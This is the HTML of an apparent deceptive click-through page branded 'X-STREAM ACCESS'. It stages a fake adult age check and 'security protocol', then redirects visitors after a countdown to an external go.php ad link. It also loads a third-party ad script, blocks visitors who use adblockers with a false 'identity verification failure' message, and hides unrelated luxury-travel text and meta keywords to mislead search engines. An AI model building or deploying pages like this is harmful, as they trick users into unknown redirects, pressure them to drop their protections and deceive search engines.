<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Security Clearance | X-STREAM ACCESS</title>
  <meta name="description" content="Reserve your luxury cruise and protect your trip.">
  <meta name="keywords" content="Luxury Cruises, Private Jet Charter, Travel Insurance">
  <link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
  
  <style>
    :root { --accent-color: #a855f7; --bg-color: #0a0a0a; --card-bg: #121212; --text-muted: #9ca3af; }
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body { background-color: var(--bg-color); background-image: radial-gradient(circle at 10% 20%, rgba(168, 85, 247, 0.05) 0%, transparent 40%), radial-gradient(circle at 90% 80%, rgba(168, 85, 247, 0.05) 0%, transparent 40%); color: #ffffff; font-family: 'Montserrat', sans-serif; height: 100vh; display: flex; justify-content: center; align-items: center; overflow: hidden; }

    .membership-card {
      background: var(--card-bg); width: 95%; max-width: 440px;
      padding: 45px 20px 25px; border-radius: 20px; border: 1px solid rgba(168, 85, 247, 0.2);
      text-align: center; box-shadow: 0 0 50px rgba(0, 0, 0, 0.9), 0 0 20px rgba(168, 85, 247, 0.1);
      position: relative; z-index: 10;
    }
    @media (min-width: 768px) { .membership-card { max-width: 520px; } }

    .brand-header { font-family: 'Space Grotesk', sans-serif; font-size: 24px; font-weight: 700; letter-spacing: -0.5px; margin-bottom: 30px; display: flex; align-items: center; justify-content: center; gap: 10px; }
    .shield-icon { width: 24px; height: 24px; background: var(--accent-color); clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%); }

    h1 { font-size: 22px; margin-bottom: 15px; color: #fff; }
    p { font-size: 14px; color: var(--text-muted); line-height: 1.6; margin-bottom: 35px; }

    #step-2, #loading-screen { display: none; }
    .btn { width: 100%; padding: 18px; border-radius: 12px; font-size: 15px; font-weight: 700; cursor: pointer; transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); border: none; text-transform: uppercase; position: relative; z-index: 20; }
    .btn-primary { background: var(--accent-color); color: white; box-shadow: 0 4px 15px rgba(168, 85, 247, 0.4); }
    .btn-primary:hover { transform: translateY(-2px); filter: brightness(1.1); box-shadow: 0 8px 25px rgba(168, 85, 247, 0.6); }

    .pulse-loader { width: 40px; height: 40px; background: var(--accent-color); border-radius: 50%; margin: 0 auto 15px; animation: pulse 1.5s ease-in-out infinite; }
    @keyframes pulse { 0% { transform: scale(0.8); opacity: 0.5; } 50% { transform: scale(1.2); opacity: 1; } 100% { transform: scale(0.8); opacity: 0.5; } }

    .ad-frame { margin-top: 35px; padding-top: 20px; border-top: 1px solid rgba(255, 255, 255, 0.05); min-height: 60px; display: flex; justify-content: center; align-items: center; overflow: hidden; }
    @media (max-width: 768px) { .ad-frame { min-height: 250px; } }

    #ab-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0.98); z-index: 9999; justify-content: center; align-items: center; padding: 20px; }
    .ab-box { background: #111; border: 1px solid var(--accent-color); padding: 40px; border-radius: 20px; text-align: center; max-width: 360px; }
    .seo-footer { position: absolute; bottom: 0; opacity: 0.01; font-size: 8px; pointer-events: none; height: 1px; overflow: hidden; }
  </style>
</head>
<body>

  <div id="ab-overlay">
    <div class="ab-box">
      <h2 style="color:var(--accent-color); margin-bottom:15px;">ACCESS BLOCKED</h2>
      <p style="color:#666; margin-bottom:25px; font-size:14px;">Identity verification failure: Adblock detected. Please authorize to access the restricted cloud archives.</p>
      <button class="btn btn-primary" onclick="location.reload()">RE-INITIALIZE SYSTEM</button>
    </div>
  </div>

  <div class="membership-card">
    <div class="brand-header"><div class="shield-icon"></div>X-STREAM <span style="color:var(--accent-color)">ACCESS</span></div>
    
    <div id="step-1">
      <h1>Security Clearance</h1>
      <p>This content is restricted to viewers <b>18 years or older</b>.</p>
      <button class="btn btn-primary" onclick="goStep2()">I am 18+ — Proceed</button>
    </div>

    <div id="step-2">
      <h1>Security Protocol</h1>
      <p>Do you agree to our secure access protocols and guidelines?</p>
      <button class="btn btn-primary" onclick="startLoading()">I Agree — Unlock Vault</button>
    </div>

    <div id="loading-screen">
      <div class="pulse-loader"></div>
      <div style="font-size: 12px; color: var(--accent-color); font-weight: 600; text-transform: uppercase;">
        Generating Secure Link... <span id="timer">5</span>s
      </div>
    </div>
    
    <div class="ad-frame">
      <script type="text/javascript" src="https://garudakrakatau.com/ads.js"></script>
    </div>
  </div>

  <div class="seo-footer">
    <h3>travel Content Distribution 2026</h3>
    <p>Luxury travel experiences and private jet charters define premium vacations. High-performance infrastructure managed for digital agencies.</p>
  </div>

  <script>
    function goStep2() { document.getElementById('step-1').style.display = 'none'; document.getElementById('step-2').style.display = 'block'; }
    
    function startLoading() {
      document.getElementById('step-2').style.display = 'none';
      document.getElementById('loading-screen').style.display = 'block';
      let sec = 5;
      const timer = document.getElementById('timer');
      const interval = setInterval(() => {
        sec--; if (timer) timer.textContent = sec;
        if (sec <= 0) { clearInterval(interval); window.location.href = "https://garudakrakatau.com/go.php"; }
      }, 1000);
    }

    (function() {
      const R_TIMEOUT = 5000; const S_KEY = 'xstream_rfr';
      window.addEventListener('load', function() {
        setTimeout(function() {
          const ad = document.querySelector('.ad-frame iframe');
          const hasR = sessionStorage.getItem(S_KEY);
          if (!ad || ad.offsetHeight === 0) {
            if (!hasR) { sessionStorage.setItem(S_KEY, 't'); location.reload(); }
            else { document.getElementById('ab-overlay').style.display = 'flex'; }
          }
        }, R_TIMEOUT);
      });
    })();
  </script>

        <!-- Histats.com  START  (aync)-->
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,5007400,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
})();</script>
<noscript><a href="/" target="_blank"><img  src="//sstatic1.histats.com/0.gif?5007400&101" alt="" border="0"></a></noscript>
<!-- Histats.com  END  -->
   
<!-- Matomo -->
<script>
  var _paq = window._paq = window._paq || [];
  /* tracker methods like "setCustomDimension" should be called before "trackPageView" */
  _paq.push(['trackPageView']);
  _paq.push(['enableLinkTracking']);
  (function() {
    var u="//matomo.yiuzha.eu.cc/matomo/";
    _paq.push(['setTrackerUrl', u+'matomo.php']);
    _paq.push(['setSiteId', '7']);
    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
    g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
  })();
</script>
<!-- End Matomo Code -->

</body>
</html>